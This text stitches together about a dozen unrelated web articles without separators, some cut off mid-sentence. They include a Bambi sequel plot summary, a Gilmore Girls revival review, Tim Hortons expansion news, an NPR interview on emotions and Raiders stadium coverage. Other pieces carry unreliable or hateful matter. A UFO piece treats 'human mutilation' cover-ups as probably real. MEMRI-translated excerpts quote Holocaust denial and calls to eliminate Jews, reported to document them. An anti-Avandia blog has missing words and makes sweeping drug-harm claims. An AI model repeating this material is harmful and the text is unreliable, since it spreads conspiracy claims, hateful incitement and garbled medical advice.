The 1945 Brazilian Portuguese translation, Os filhos de Bambi,[8] and the 1946 French translation, Les Enfants de Bambi by Monique Yersin, use the illustrations by Hans Bertle.[9] A shortened French-language edition was illustrated by Jeanne Hives after Walt Disney in 1959[10] and by Jacques Fromont in 1977.[11] There are also a 1943 Spanish translation, Los hijos de Bambi: Historia de una familia del bosque, by Cayetano Romano, a 1950 Dutch translation Bambi's kinderen by Henk Cornelissen, and a 2016 Finnish translation, Bambin lapset: Perhe metsän siimeksessä.[12] The Hungarian language can boast with three separate translations (1940, 1968, 1992)[13] and the Slovak language with two (1947, 1968).[14]
Plot [ edit ]
The novel's protagonists are the twin fawns born at the ending of the first novel. Geno and Gurri learn the pleasures as well as downsides of nature and their forest home, as their mother Faline raises them to adulthood. Their father, Faline's cousin Bambi, watches over them and, at times, takes care of them while their mother is busy. During their lives, they interact with Lana and Boso, twin fawns of their Aunt Rolla.
One day, Gurri is attacked by a fox, but survives because the hunter shoots the fox at the last moment. She is then taken away by a hunter (known only as “He” by some of the animals; in the English translation, he is referred to as a gamekeeper, and the name has been changed to the "brown He" because of a brown coat he wears, but such detail is never mentioned in the German text). When she is brought to the "He's" place, she meets his dog, Hector, and a European eagle-owl that He captured a while ago. The owl is kept in a cage, and he tells Gurri about the times when He uses him as a bait to attack crows and other birds of prey and shoots them. Then Bambi finds her, and he tells Gurri that he will come every night to teach her how to jump over the fence. But when "He" sees the tracks of Bambi in the corral, He sets Gurri free.
When she comes back, tensions between her family and Rolla's family start to rise. First, Rolla asks Gurri to tell her what had happened, but she doesn't want to talk because she thinks that she would not honor her miraculous salvation and Bambi's effort properly.
Then one day, Rolla gets attacked by a wolfdog, Nero. While trying to escape him, she accidentally lures the wolfdog to where Faline and the others are hiding. The wolfdog immediately turns his attention to Geno, and chases him instead. When Faline sees Geno disappear, she blames Rolla for "sacrificing" her son. After Bambi saves Geno from the wolfdog, Geno finds Rolla, and he is then reunited with his sister and mother. When they see Rolla, Gurri gives her a warm welcome, while Boso starts developing a grudge against them. He starts antagonizing Geno, claiming that his ordeal was greater. When Faline and her children leave, a feud between the two families is started.
When Geno starts to grow his antlers, he and Gurri discover two orphaned male fawns named Nello and Membo. Faline decides to adopt them as new friends for her children, so they can forget about their new enemies. When Geno gets older, he meets Lana again. Boso comes out and challenges Geno to a fight, but Geno refuses. Boso starts to call Geno a coward. Only at a third encounter, when Geno thinks no witnesses are around to see Boso humiliated, he fights Boso and defeats him; he offers a truce, but Boso instead turns away.
One day, Boso is shot by a boy hunter, but before the boy can kill him he escapes. He then runs into Bambi, and Bambi has him use the same techniques that his father, the Old Prince, told him to use when he got wounded. The boy later returns to the meadow and tries to kill a deer from a pack, thinking that Faline or Rolla are bucks, but right when he is about to shoot, Bambi jumps out and charges him down.
In the end, the two families end their feud and become friends again. At the end, Faline lets her children go their own paths. On the final page, she appears to the meadow with a newborn fawn, Ferto. (This sequence, among others, is missing from the English edition.)
Dell Comic [ edit ]
Although this story was never made into a film, Dell Comics published a Walt Disney Production comics adaptation in 1943.[15]
Further reading [ edit ]Once you get past places in Vermont on the list of the worst counties for Hillary Clinton so far in the primaries, you quickly arrive at Coal County, Okla., where she won just 19 percent of the vote.
Mrs. Clinton’s profound weakness in a county named “Coal” is not because of her comments about shutting down coal mines, as one might expect. Those comments came after the Oklahoma primary.
It’s because Coal County, like much of the traditionally Democratic parts of the South, has a huge number of registered Democrats who now vote Republican in presidential elections. In the states with closed or semi-closed contests — like Oklahoma — these registered Democrats can participate only in the Democratic primary.
When they do, they have tended to vote against Hillary Clinton (and for Bernie Sanders, the senator from Vermont).The familiar “la la las” kick in. It’s adorable Stars Hollow. Lorelai breathes in the fresh air and takes a sip of her coffee. Rory shows up, and they gab about how she looks so good getting off a plane, airborne diseases, “I Dreamed a Dream” from Les Miserables, GOOP, yoga, blood clots, and that’s just what my typing fingers could keep up with in those early seconds.
“Haven’t done that for a while,” Lauren Graham says as Lorelai Gilmore, exuding all the warmth we’ve waited nine years to feel in a winking welcome to Netflix’s revival of Gilmore Girls.
To call Gilmore Girls: A Year in the Life hotly anticipated would be an understatement akin to saying Lorelai and Rory Gilmore merely like coffee.
The excitement for the four seasonally themed movies, ostensibly a redo for series creator Amy Sherman-Palladino after she was absent from the series’ polarizing final season, is boiling hotter than a freshly brewed pot at Luke’s Diner. Perhaps it’s fitting, then, that Gilmore Girls: A Year in the Life can, at times, feel a bit over-caffeinated.
We’re betting, though, that if you’re among those counting down to a Thanksgiving weekend binge when the event series hits Netflix on Friday, you like your Gilmores like your coffee: strong, warm, and in perpetuity.
Typically, a series revival is graded on a curve, with nostalgia and anticipation clouding objective judgment. But a buildup of disappointments in that realm—The X-Files, Fuller House, Arrested Development—may actually make us a bit more cynical about the return of Gilmore Girls. Certainly, the current cultural climate might bring jaded shades to the viewing party, too.
But A Year in the Life is a necessary reminder of the pleasures of a show that refuses to live in cynicism; that embraces earnestness and even uses it as a more effective tool for revealing human and emotional truths—no easy feat.
It’s a reunion, sure, between Graham’s Lorelai, Alexis Bledel’s Rory, Kelly Bishop’s Emily Gilmore, and us. As important and dynamic as their relationships were to each other, they were equally important to us—whether superficially, with all of the “my mom and I are just like the Gilmore Girls!” silliness that sprouted, or deeply, when the heartbreak and hope entwined in their relationships resonated in our own lives.
But this isn’t six hours of sun-soaked nostalgia. Loss and resilience are the big themes, with A Year in the Life revisiting these characters at a time when they’re all unsettled and grieving the loss of Edward Hermann’s Richard Gilmore. (It takes about 20 minutes for your first ugly cry over that to kick in.)
Lorelai is living with Luke (Scott Patterson), but stir-crazy when it comes to running the inn and self-conscious that she’s limiting her partner’s happiness.
Rory has had professional success and setbacks, and finds herself at a career crossroads. There’s drama in her love life, too. The Holy Trinity of Logan, Dean, and Jess all return, but we wouldn’t dream of going any further into it than that. (Mostly because we find the debate over which suitor she should’ve ended up with to be both reductive and obvious.)
And Emily is lost without her husband of 50 years. She’s wearing jeans. She’s Marie Kondo-ing her house. She commissions a wall-sized portrait of Richard, and actually says the phrase, “Have you seen Jerry Maguire? It was on Starz last night and it was delightful.” She’s being nice to housekeepers and trying therapy, but mostly she is just sad.
In grief, these characters have always been brutally honest to each other. Extended, visceral, drag-out fights are hard to watch—but even more painful here, given room to breathe, linger, and sting.
These, as adorable as midnight snack-and-gossip sessions between Lorelai and Rory can be, are the revival’s best scenes. One in particular between Lorelai and Emily over Lorelai’s behavior after Richard’s funeral evokes seven seasons of these characters’ histories, tears at fresh wounds, and is among the finest-acted scenes on television in 2016.
That’s the hard thing to explain about Gilmore Girls.
The show is whimsical to an almost ridiculous degree, set in this fantasyland fictional New England town where no quirk is left undeveloped to its peak precocious potential. The banter itself, entertaining as it may be, is completely unrealistic. Yet regret, pain, yearning, and, ultimately, love cut through this idyllic façade like an emotional knife, serving up a fantasyland that we respond to because it feels so achingly real.
All of that should feel familiar to Gilmore Girls fans when they tune in to Year in the Life. Still, it’s jarring to have a change of format, and four 90-minute films that most of us will watch in one giant six-hour session is an entirely different beast than 45-minute episodes of a series that were written with commercial breaks and speedier narratives in mind.
Scenes tend to go on for a skosh too long. (Or, in the case of “Stars Hollow: The Musical,” way too long.) Musical montages that I don’t recall being used this frequently—if ever?—in the original, feel masturbatory and sometimes emotionally manipulative, which is the bigger bummer considering that, emotionally, Gilmore Girls almost never hit a false note.
Freed of network input, some indulgences are fun. Homosexuality—finally—exists in Stars Hollow! Others are distracting, like a parade of unnecessary cameos and some forays into surrealism.
Like they always did, characters make decisions that are infuriating (cough, Rory, cough). The “Fall” episode has Lorelai and Rory follow paths that keep them separated for much of the finale. But it’s admirable how A Year in the Life resists the temptation to send the mother and daughter skipping along together to merely please fans, instead opting for an arc that might not be immediately gratifying, but is creatively truthful and respectable.
Much more than that, we can’t really say. Netflix’s spoiler guidelines are intense and specific enough to instill the fear of Taylor Doose into any TV critic. (Therefore any information or reaction to those legendary final four words, other than the fact that, yes, they exist, are withheld from this review purely as a survival mechanism.)
But rest assured that every return of a Stars Hollow favorite elicited an involuntarily coo of excitement from said Gilmore Girls fan, and each, from Kirk to Babette, is given at least one scene-stealing moment. In this town that, as Lorelai jokes, was constructed inside of a snow globe, they are, after all, each their own special snowflake.
It’s the returns of David Sutcliffe’s Christopher Hayden, Melissa McCarthy’s Sookie St. James, and especially Liza Weil’s Paris Gellar that, for this fan at least, were the most impactful. Weil, especially, is a force, torching every scene she’s in with moments destined to be instantly pull-quoted, memed, and GIF’d.
There has always been talk about the exceptional acting on this series and its lack of recognition, and if there’s any justice Lauren Graham and Kelly Bishop might finally find themselves Emmy nominees for this buzzy return. Each lead delivers the kind of emotionally walloping, spritely, yet still grounded performance you craved when you heard this series was returning, with even Scott Patterson as Luke rising to the high-profile occasion with stellar work in the “Fall” finale.
But as reliable a secret weapon as Weil has always been on the series, she’s a spitfire revelation here. There’s a scene in a bathroom that is the only one I rewound to watch again because it was that good, and she leaves us with the joy of Paris Gellar ranting: “Apologize to your parents. Tell them you’ll pay them back for the two semesters you spent studying Buffy the Vampire Slayer’s effect on the feminist agenda.”
For all the talk about how eager quote-unquote “everyone” is for the return of Gilmore Girls, it’s worth noting, too, that there is a large, just as passionate swath of TV fans who, at best, don’t see the show’s appeal and, at worst, want to hurl blunt objects at the TV screen at the first sound of this famous banter.
The truth is that in its original run the show never got its fair shake, written off for any number of reasons. It was a WB drama before those were respected, dismissed as the TV version of a chick flick before complicated female relationships were appreciated regardless of gender, and delivered dizzying, referential dialogue at a time when such writing was routinely scoffed at as merely cute, instead of hailed as “sharp” as it is today.
People constantly refer to Gilmore Girls as the TV equivalent of comfort food, but these characters are far too messy, these experiences too distressing, and these life choices too excruciatingly misguided for that to be true. Even the warm appetizer of Carole King’s theme song is absent from A Year in the Life, which uses its Netflix, four-film platform to challenge the limits of this story.
Sometimes it feels indulgent, like comfort food. Sure. But that branding, I think, devalues the ambition of the series: revealing the strain that the simple existence of familial bonds has on the best of us, and the worst of us.
Narrative wrongs from that disappointing, Sherman-Palladino-less final season are corrected, which is quite lovely and satisfying. Some closure is a bit on the nose: Lorelai experiences a major moment of clarity literally involving coffee. Others, particularly the final scenes, are incredibly audacious.
There will undeniably be a cry for more Gilmore Girls once these new episodes are consumed. The highest praise that we can give this new series is that where Sherman-Palladino led us—to Netflix—we followed, and the show retained enough of its integrity and beauty to make us want to follow again.Rep. Ron Paul got an unexpected shoutout tonight from the other side of the aisle, as Rachel Maddow noted, after her extended interview with Vice President Joe Biden, that only Rep. Paul among the Republican candidates vocally opposed war with Iran. The comment came in response to the “pride” Maddow said she felt in the Vice President when he discussed the end of the war in Iraq, and his opposition to a second attack.
RELATED: A-Paul-calypse Now: Ron Paul Trails Newt Gingrich By 1 Point In New Iowa Poll
Compared to the way in which Vice President Biden discussed war, Maddow noted, Republicans were much more comfortable with the idea. “Even Jon Huntsman says that he would like to start a war with Iran, a preemptive war,” she noted, “Vice President Cheney even said we should have dropped a bomb on Iran last week.” The comments made her visit to Washington “striking,” she explained, comparing Republican ideas to the Vice President’s “pride.”
In her comments, though, Maddow made sure to note that there was one Republican who was not parroting this message. “Ron Paul is the only Republican presidential candidate who dissents from that view, who doesn’t say, ‘Let’s start another war.'” This explained, she noted, the “counter-intuitive, politically incorrect angle” in which the fact that “no one in the Beltway takes him seriously” doesn’t seem to matter, since “the latest PPP poll says Ron Paul is only one point away in Iowa.”
The clip via MSNBC below:
Have a tip we should know? tips@mediaite.comCLEVELAND, Ohio -- Area fans of Tim Hortons have long-dreaded the hike, er, drive. You see, the closest location of the restaurant chain beloved for its coffee and donuts is in Mansfield.
Central and southern Ohio has them. So does Michigan, West Virginia, Indiana, New York and Pennsylvania.
Well, Northeast Ohioans can finally rest easy and rejoice: In 2018, the Canadian fast food chain will expand to Northeast Ohio.
"We're looking at opening 105 locations starting next year," says Jeff Linville, President of TH Cleveland, the Beachwood-based franchisee for Tim Hortons Bakery and Cafe. "We're currently looking at buying properties and plan to open seven or eight Tim Hortons next year."
Founded in Hamilton, Ont. in 1964, the chain owned or franchised 4,613 restaurants as of Dec. 31, 2016. Less than 15 percent of those were in the United States -- though that number is likely to increase.
"They're everywhere in Canada and they have a huge following up there," says Linville. "But we're seeing a big expansion into the United States and Cleveland is a big part of that."
For many years, Cleveland was the, ahem, hole to what seemed like a big donut. Tim Hortons has a large presence in surrounding cities -- Detroit, Buffalo, Erie and increasingly in Columbus and Cincinnati - and yet has been conspicuously absent in the area.
"It's hard to believe that you had all these places around Cleveland but nothing here," says Linville. "It seems like a natural for Cleveland because there's a familiarity with the brand due to people traveling and seeing it elsewhere."
The expansion into Northeast Ohio will include spots opening from Sandusky to Ashtabula, reaching out to Youngstown, Akron, Canton and Warren. It corresponds with an expanding menu.
Co-founded by and named after the National Hockey League great, Tim Horton Donuts started out a simple shop renowned for its coffee and donuts. It has since expanded the offerings to include espresso, cappuccino and lattes, along with sandwiches.
"Tim Hortons has a good presence, but we're still going to have to familiarize people with it," says Linville. TH Cleveland has hired Cleveland-based Brokaw advertising agency as part of its move into Cleveland.
"We're moving fast," says Linville. "By May 2018, we hope to have the first one open."The Making Of Emotions, From Pleasurable Fear To Bittersweet Relief
Enlarge this image toggle caption Sara Wong for NPR Sara Wong for NPR
Emotions, the classic thinking goes, are innate, basic parts of our humanity. We are born with them, and when things happen to us, our emotions wash over us.
"They happen to us, almost," says Lisa Feldman Barrett, a professor of psychology at Northeastern University and a researcher at Harvard Medical School and the Massachusetts General Hospital.
She's also the author of a book called How Emotions Are Made: The Secret Life of the Brain. In it, she argues for a new theory of emotions which is featured in the latest episode of NPR's program and podcast Invisibilia.
The "classical view" of emotions as innate and limited in variety, she says, "matches the way that many of us experience emotion, as if something's happening outside of our control," she tells Shots.
"But the problem with this set of ideas is that the data don't support them. There's a lot of evidence which challenges this view from every domain of science that's ever studied it."
Lisa Feldman Barrett spoke to Shots about her alternative theory of emotions. The interview has been edited for length and clarity.
INTERVIEW HIGHLIGHTS
On the "classical" theory of emotions
The classical view of emotion is the idea that somewhere lurking deep inside you are the animalistic engine parts of your brain. There are circuits — one each for anger, sadness, fear, disgust and so on. And that when something happens in the world to trigger one of those circuits — say, for fear — you will have a very specific facial expression, a very specific bodily response, and that these expressions and responses have universal meaning. Everyone in the world makes them and recognizes them without learning or any experience at all.
On the wide variety of human emotions
There's tremendous variability when it comes to emotion. Variety is the norm. It's not the case that there are there's one set of facial movements that you make when you're sad, or when you're angry, or when you're afraid. For example, people don't just scowl when they're angry or smile when they're happy. People smile when they're sad, they cry when they're angry, they scream when they're happy. A person can tremble in fear, jump in fear, freeze in fear, scream in fear, hide in fear, attack in fear, even laugh in the face of fear.
So, I think that's one important observation that's really meaningful for understanding how emotions work in everyday life. That it may feel to you as if you look at someone's face and you just know how they feel. But in fact your brain is guessing, [and] it's using your own experiences from the past to make those guesses.
On how the brain's predictive "guessing" can change how we think about emotions
Your brain is organized in such a way as to [make] anticipatory guesses about what is going to happen next. And this is happening entirely outside of your awareness. You have past experiences, and those experiences become wired into your brain, and then your brain uses those past experiences to make guesses about the immediate future.
So, emotions aren't happening to you. Your brain makes them as you need them. You are the architect of your own experience. It's just that most of this is happening outside of your awareness.
On how much control people have over their emotions under Feldman Barrett's theory
It's interesting. There are two ways in which I would say you are not a slave to your past. One is that your brain is able to take bits and pieces of past experience and combine them in new ways. Think of it like this: if you have a set of general ingredients in your kitchen, you can combine them in novel ways to make new recipes that you've never made before.
Emotions Where do our emotions come from? Do they tell us truths about the world that should guide our behavior, or should we be more skeptical of them? Alix Spiegel and co-host Hanna Rosin examine how two people can look at the same thing and experience two different emotions in the first episode of Season 3 of the NPR podcast Invisibilia.
The other way though is that we can invest effort in the present to cultivate new experiences for future use in prediction. This is a really nice discovery, because what it means is that your horizon of control over your own experience is much broader than you might think.
For example, if you look at cognitive behavioral therapy, if you look at many of the books and articles which talk about cultivating compassion, cultivating wonder, cultivating a number of pleasant experiences that are thought to have beneficial effects, this is exactly what's happening. Your past experience is one ingredient to making emotions in the present.
On how states of displeasure and arousal are related to emotions
Those feelings are not properties of emotion, they're properties of consciousness because they're always with you, whether or not your brain is using them as ingredients of emotion, or for thoughts or perceptions. They are part of you and your experience of the world even when you are not experiencing emotions.
For example you know that's a delicious drink. That guy's a [jerk]. You know this is a beautiful painting. These are these are examples of when affective feelings from your body are very strong, but you are not making emotions with them. You're making perceptions of the world or perceptions of another person.
But when an affect is very intense, those are the moments when the brain is usually making emotion out of them. [For example], you can sometimes have a very strong feeling of fear when you're feeling very unpleasant and very worked up. But fear can also be pleasant. When you're on a roller coaster, for example. People pay money to be afraid.
My point here is that in the classical view is that anger is negative — sometimes positive, but usually negative. Fear is negative, disgust is negative, happiness is positive.
But what the evidence shows is, in fact, that the pleasantness or unpleasantness of an emotion is really variable. So there are varieties of sadness that can feel very pleasant, varieties of happiness that can feel very unpleasant. And the quality really comes from these sensations in your body. |
of the documents and information on to retired police officer and UFO researcher, Tony Dodd.
Dodd made contact with the source. Their conversations resulted in the book “Alien Investigations” in 1999.
Another researcher, Richard Hall, has also conducted extensive research into this subject. During this, he has verified that Gough, and in turn, Dodd’s source was very real. In short, as strange and chilling as the claims are, they appear to have more truth in them than most would want to believe.
As well as regular activity at the Brecon Beacons in Wales, regular grim discoveries occur in Dalby Forest in Yorkshire. We have written before about how the Yorkshire Moors are a UFO hotspot of sorts. However these mutilations, according to the research so far, are happening everywhere.
The two videos below look at these allegations in more detail. The first video is an in-depth look at Richard Hall’s investigations into human mutilations. The second is a talk given by Hall on the subject. Make of them what you will.
VIDEO: UFOs and NATO The Human Mutilation Cover Up FULL Film 2014 Richard D Hall
VIDEO: Animal Mutilation & The Government Cover UpIn the last few months, Jamal Al-Shawaheen, a columnist for the Jordanian Muslim Brotherhood newspaper Al-Sabil, published two virulently antisemitic articles. In an article from March 18, 2017 titled "The Jewish Entity [Is] the Problem of the Whole World," he wrote that the conflict in the Arab world will not end as long as Israel exists and that the objective of eliminating it will remain on the Arab agenda "generation after generation." He added that the Jews have nothing in common except their religion and thus do not constitute a genuine nation but only "concentrations of greedy crooks." Moreover, "history indicates that a million Hitlers from all over the world will [appear and] eliminate them... because they are the problem of the whole world and not just of the Arabs."
In an article from December 10, 2016, he denied the factuality of the Holocaust and accused the Jews of operating a "meat-grinder for human flesh" in which they exterminate Palestinians and Arabs using British and American tools. He added that the only way to put a stop to this was to eliminate the Jews themselves.
It should be mentioned that, prior to this, Al-Shawaheen published several other antisemitic articles in Al-Sabil that were translated by MEMRI.[1]
The following are excerpts from his latest two articles:
Jamal Al-Shawaheen (image: paltimes.net)
Eliminating The Jewish Israeli Entity Will Forever Remain On The Arab Agenda
In his March 18, 2017 article Al-Shawaheen wrote: "The conflict in the Arab world will persist and intensify in every way so long as the Israeli entity exists. There is no solution except erasing and uprooting [this entity], otherwise the boundless war will continue, moving from arena to arena, and sooner or later [the war] with the enemy entity will flare up [again]... Whoever thinks that the enemy's power is eternal is surely mistaken, since foreign bodies must be removed from the body, otherwise they destroy it. Foreigners, no matter how powerful, have no hope of survival – that is what history shows us and teaches us.
"The Arab peoples are not in the same situation as the Indians [of America] who were eliminated entirely to make room for other peoples and countries... The times are different and the situation is not as it was in the past, for what force can eliminate the Arabs for good?!
"The elimination of the Jewish Israeli entity will therefore remain on the Arab agenda generation after generation, and even if today [we] are in an unfortunate state of submissiveness, this will not forever be the case. The history of nations teaches [us] many lessons... The Chinese have endured for thousands of years, as have the Russians and all the genuine peoples. It can be said that, of all the peoples in the world, only the Jews lack any [common] features that make them into a people, except for their religion, and throughout history this has never been sufficient to make them into any kind of nation. They have always been, and still are, nothing but concentrations of greedy crooks. Even if wars will not defeat them today, history indicates that a million Hitlers from all over the world will [appear and] eliminate them and get rid of them forever. This will not be long in coming, because they are the problem of the whole world and not just of the Arabs."[2]
"The Jews Founded [Their] Usurping State Thanks To... The Lie Of The Holocaust"
In his December 10, 2016 article Al-Shawaheen wrote: "The Jews founded [their] usurping state thanks to the sympathy Britain and other countries felt for them, [sympathy aroused] by the lie of the Holocaust. [The Jews] continue to take this criminal usurpation as far as possible, yet [their state] enjoys the support of several countries, chief of them the U.S. This great Jewish crime continues... Now that this crime has persisted, and even intensified, for such a long time, is it possible to see those who abet it as criminals too, given that 'one who abets terrorism is a terrorist himself'?
"If the Holocaust, assuming it even happened, exterminated dozens of German Jews, then the only way to describe the elimination of tens of thousands of Palestinians and Arabs is as a grinder of human flesh that initially used British tools and later many American ones, as well as funds exhuding the smell of gas.
"Therefore, we must take heed and prepare. The Palestinian people is facing a new phase on the way to this meat grinder, for Trump will certainly not wish to stop it. Moreover, this [meat] grinder also operates simultaneously in Iraq, Syria, Yemen and Libya, but with one difference: [in those countries] those who directly operate it are not Jews in terms of their faith but rather in terms of their submission to their [Jewish] masters, [whom they serve] as lackeys [even] lowlier than Al-Alqami...[3]
"There is an American movie called The Meat Grinder, whose main premise involves a gang that murders poor people and grinds their flesh [to sell it] as canned dog food. After this meat becomes popular with dog owners, dogs who become used to [eating] it turn feral and attack [people] to eat them. The movie focuses on how, in order to eliminate the problem, [both] the customers [i.e., dog owners] and the dogs are killed.[4] It appears that, in order to get rid of the Jews' [meat] grinder, we have no choice but to adopt the same solution. That is what needs to be done, by any possible means, since the goal is a noble one, and then the world will be rid of terrorism, all of which is blatantly Jewish."[5]70 (80%) patients in the treatment group regressed to normal glucose tolerance compared with 52 (53%) in the placebo group (p=0·0002).
any
The change in β-cell function, as measured by the insulin secretion-sensitivity index-2, did not differ between groups (placebo −252·3, −382·2 to −58·0 vs rosiglitazone and metformin −221·8, −330·4 to −87·8; p=0·28)
The slimy weasels who profit from selling the dangerous drug Avandia don't give up easily. Though there is incontrovertible evidence that their drug causes heart failure in people who did not have it before starting the drug, as well as ostoporosis and an increased risk of heart attack, they keep sending the health media carefully doctored press releases touting new and marvelous features of their drug.The latest is the claim that Avandia does a humdinger of a job at preventing diabetes, reducing it by two thirds. The study is a triumph of sleazy research technique, but because the drug reps will be hard at work "teaching" your doctor of this wonderful new feature of their dreadful drug, you need to understand what the study actually did and what it learned.The study abstract can be found here: Low-dose combination therapy with rosiglitazone and metformin to prevent type 2 diabetes mellitus (CANOE trial): a double-blind randomised controlled study. Prof Bernard Zinman.. June 3, doi:10.1016/S0140-6736(10)60746-5As you can see by looking at the title, this study combined Avandia with Metformin. Because we know that Metformin delays the diagnosis of Type 2 diabetes (by lowering blood sugar, not by correcting underlying flaws) you'd assume that any trial of metformin with another added drug would compare the combination with metformin alone.But since the point of this study was to breath life into the decaying corpse of Avandia, that comparison was omitted. There are only two groups in this study, those on the Avandia metformin combo and those on a placebo.Beyond that, the study involved only about 200 people, divided into two groups. This means that if one out of every two hundred people taking Avandia developed a severe or even fatal complication, the study group is too small to detect it. Since the problem with Avandia is that it has been shown in large studies to cause severe and sometimes fatal complications the study design used here is worthless and very clearly designed only to squeeze more profit out of GlaxoSmithKline's dangerous drug.The next problem with the study is that it lasted only a median of 3.4 years. Why is this a problem? Because even if the study size had been big enough to make the severe side effects evident, the most serious of the Avandia side effects may take up to a decade to become evident. That is because Avandia works by transforming bone stem cells into baby fat cells into which glucose gets pushed. (That is why Avandia causes permanent weight gain.) This means that over time bones are weakened because they don't get new bone cells coming in to reinforce them. Eventually they start to crack and by then it is too late to fix the problem. But you won't see this effect over 4 years. So again, this study was designed to avoid highlighting adamaging side effect of Avandia.But setting aside the fact that it is impossible to know from this study whether Avandia is safe in this context, the actual finding of the study was another blow to Avandia's claims, and makes it crystal clear why there was no "metformin only" group included in the study--though you wouldn't know this from the press coverage.The study claims,Note that the study is reported as claiming that two thirds of those who took Avandia (with metformin, though the headlines miss that) did not progress to diabetes. But at the same time, more than one half of those who did not takedrug also reverted to normal blood sugar status. So in fact, the drug combo only kept an additional 27% of participants from being diagnosed with diabetic blood sugars.Note that DPPT--a far more robust study of 3234 people with pre-diabetes found that Metformindecreased the progression to diabetes by 31% over an average of 2.8 years.Volume 346:393-403, February 7, 2002, Number 6So there is basicallyeven allowing for the extra couple months in the Avandia study.All this seems to have eluded the peer reviewers who approved this study for publication.Okay, that's bad enough, but there's one last point. The makers of Avandia promote it to doctors with the claim--unsupported by evidence--that members of the TZD drug class to which it belongs rejuvenate beta function. This study, like every other study of the subject finds that isn't true. Thestudy states,So the improvement achieved in the drug group (most likely from taking the metformin) did not occur because the beta cells were functioning better, but only because blood sugar was lowered. Whether this was because the metformin blocked liver dumps, or because it promoted glucose uptake at the muscles by revving up AMP-Kinase, or because Avandia pushed excess glucose into brand new baby fat cells is unknown.So that's the story that the folks atsomehow missed. And because they missed it, you can be sure some percentage of boneheaded doctors will read this new study and put patients who don't have diabetes on Avandia. After all, why prescribe an effective, safe, generic drug that can be bought for $4 a month--Metformin--when you can prescribe one that does nothing but harm and costs up to $100 a month? The answer has a lot to do with the subtle incentives drug companies still provide doctors, but that's the subject for another blog post.Unfortunately, even doctors who are gun shy about Avandia still believe that its evil twin Actos is safe. It isn't. Actos also causes heart failure and works by changing bone baby cells into baby fat cells causing permanent weight gain and, long term, damaged and broken bones. Actos may not cause heart attack, but that information won't mean much if you develop heart failure, which over time is just as fatal. It's also worth notingwhich means that if you are particularly unlucky, both Avandia and Actos can seriously damage your vision.Bottom line: If you have pre-diabetes can't get your blood sugar back to normal by cutting carbs (which has been proven far more effective than any drug) stick with metformin. It's safe, it works, andside effects include things like weightand a lower incidence of cancer.OAKLAND – The Oakland Raiders’ clash against the San Diego Chargers on Thursday night could be their last home game in Oakland, but Mayor Libby Schaaf said today that she thinks fans should “keep the faith” that the football team will stay in her city.
Raiders owner Mark Davis is actively exploring the possibility of moving the Raiders to Carson, a Los Angeles suburb, as soon as next fall, but Schaaf said she believes Davis’ repeated statements that his first choice is to keep the team in Oakland as long as a deal for a new stadium can be worked out.
The Raiders are one of three National Football League teams considering moving to the Los Angeles area next fall.
The San Diego Chargers are considering sharing a new stadium in Carson with the Raiders and the St. Louis Rams are thinking of moving to a new stadium in Inglewood, which is also in the Los Angeles area.
But Schaaf said Davis is the only owner among those three teams who wants his team to stay where it is as long as there’s an agreement for a new stadium.
“Mark Davis really wants to stay in Oakland,” Schaaf said.
Schaaf and other Oakland officials traveled to New York on Nov. 11 to present a preliminary plan to the NFL for building a new football stadium at the Oakland Coliseum complex, where the Raiders and the A’s baseball team share the O.co Coliseum. The aging structure is the only stadium in the U.S. that’s shared by professional football and baseball teams.
Schaaf said the city will present an updated proposal to the NFL on Dec. 29 or 30 but it won’t be a complete plan and the league isn’t expecting a final plan at that time.
Teams that want to apply to relocate to a new city may do so after Jan. 1 and NFL owners will consider proposals at a special meeting on Jan. 12 and 13. But three-fourths of the owners of the league’s 32 teams must approve any team moves.
Referring to the possibility that Oakland can complete a plan that will convince the Raiders to stay in the city, Schaaf said, “I do believe it can be done. We have the will.”
Schaaf said, “Oakland has so much to offer the NFL and the Raiders, starting with its passionate fans and the fact that we have one of the strongest markets in the league and one of the best sites for transit accessibility.”
She said she is committed to keeping the Raiders in Oakland in a way that doesn’t hurt taxpayers.
Schaaf said the city won’t directly help the Raiders pay the cost of building a new stadium but is prepared to pay for infrastructure improvements on the 120-acre Coliseum site that will be owned by the public in perpetuity.
The mayor also said the city is considering using public financing tools to help monetize revenues from Raiders games up front that would help the team pay for construction costs.
“We won’t put any public funds at risk,” Schaaf said.
Copyright © 2015 by Bay City News, Inc. … Republication, re-transmission or reuse without the express written consent of Bay City News, Inc. is prohibited.As a longtime Kid Cudi fan, I’ll admit that the first time I heard Indicud I wasn’t quite sure what to make of it. The project, expected to be a “return to form” of sorts for the Cleveland rapper after his much-maligned side project WZRD, was nothing like the Man on the Moon albums that had come before it. While Cudi had taken great pains to explicitly state that this would be the case, its significant departure in style still caught many fans—myself included—off guard. Of course, the album was still undeniably Cudi, but its unfamiliar production, lengthy instrumental tracks, and general left-field approach had many longtime fans questioning whether Scott had lost his touch.
Today, on the album’s second anniversary, my opinion on it has evolved considerably. While at first I yearned for the varied contributions of early-career mainstays like Dot da Genius, Plain Pat, and Emile, I’ve come to see the Cudi-helmed production as one of the album’s strongest assets. With control behind the boards as well as in front of the mic, he gains greater latitude to push boundaries with songs, and connects with them on a more personal level as a result—from the layered violins of “Immortal” to the smouldering chorus of “Brothers.” While the album is not without its faults, its moments of excellence more than justify its high position in Kid Cudi’s catalog.
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Every conversation about Indicud should begin and end with “Just What I Am” no matter one’s feelings on the rest of the album. Scott’s longtime collaborator King Chip leads off delivering an introspective verse about his relationship with God and drugs over the spaced-out beat. Along the way, he manages to work in one of the best lowkey rap punchlines ever, joking, “Neighbor’s knockin’ on the door/Asking can we turn it down/I say ‘Ain’t no music on’/She said ‘No that weed is loud.’” Cudi follows it up by exorcizing his demons about therapy, medication, and parenting in one of his most personal rap verses to date.
While the merits of a song like “Just What I Am” are obvious, some of Indicud’s other tracks take a few spins to truly sink in. Songs like “Girls” and “Young Lady” seem a bit disjointed at first, but after a while the edges smooth over and they come to feel like classic Cudi jams. In particular, the nuanced charms of “Young Lady”’s Father John Misty sample cannot be overstated. The track is a mellowed-out masterpiece, blending Kid Cudi’s sound with a dynamite sample of “Hollywood Forever Cemetery Sings” by the former Fleet Foxes member. It may take some time to adjust to Scott’s admittedly liberal definition of “on-key” singing, but once it happens you begin to question how you ever disliked these songs in the first place.
